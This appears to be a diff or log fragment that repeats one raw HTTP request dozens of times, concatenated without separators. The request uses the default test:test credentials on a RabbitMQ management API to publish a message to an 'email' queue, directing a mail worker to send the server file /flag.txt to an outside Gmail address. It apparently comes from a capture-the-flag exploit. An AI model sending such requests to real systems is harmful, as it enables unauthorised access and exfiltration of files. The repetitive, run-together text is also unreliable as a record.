+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
